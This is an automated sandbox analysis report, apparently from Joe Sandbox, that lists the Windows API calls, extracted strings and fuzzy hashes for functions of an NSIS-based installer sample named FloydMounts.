
Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
detailprint: %s, xrefs: 00401679
SetFileAttributes failed., xrefs: 004017A1
Rename failed: %s, xrefs: 0040194B
Rename: %s, xrefs: 004018F8
Rename on reboot: %s, xrefs: 00401943
Call: %d, xrefs: 0040165A
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Sleep(%d), xrefs: 0040169D
Jump: %d, xrefs: 00401602
CreateDirectory: "%s" (%d), xrefs: 004017BF
CreateDirectory: "%s" created, xrefs: 00401849
BringToFront, xrefs: 004016BD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

.exe, xrefs: 00405A69
F, xrefs: 00405A22
@jG, xrefs: 00405AF2
"F, xrefs: 00405A4B
_Nb, xrefs: 00405AFD
RichEdit, xrefs: 00405BF0
.DEFAULT\Control Panel\International, xrefs: 004059C5
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
RichEd32, xrefs: 00405BD4
RichEd20, xrefs: 00405BC9
RichEdit20A, xrefs: 00405BE2, 00405BE7

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,TallAppeal,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,TallAppeal,TallAppeal,00000000,00000000,TallAppeal,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424579,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user abort, xrefs: 00401B53
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user cancel, xrefs: 00401B93
File: wrote %d to "%s", xrefs: 00401BD0
TallAppeal, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$TallAppeal
API String ID: 4286501637-1779690085
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Inst, xrefs: 00403698
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1
Error launching installer, xrefs: 00403603
Null, xrefs: 004036AA
soft, xrefs: 004036A1

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00424579,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

pAB, xrefs: 004033AB
... %d%%, xrefs: 004034C8
yEB, xrefs: 0040346F, 0040348A, 00403513
(]C, xrefs: 004033FD

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$yEB
API String ID: 651206458-486274953
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00424579,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424579,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00401EB9 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(00716D68), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
hmq, xrefs: 00401EBC, 00401F06, 00401F15, 00401F48, 00401F6E, 00401F75
TallAppeal, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$TallAppeal$hmq
API String ID: 1459762280-3104231033
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713
TallAppeal, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$TallAppeal$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-870748736
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424579,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

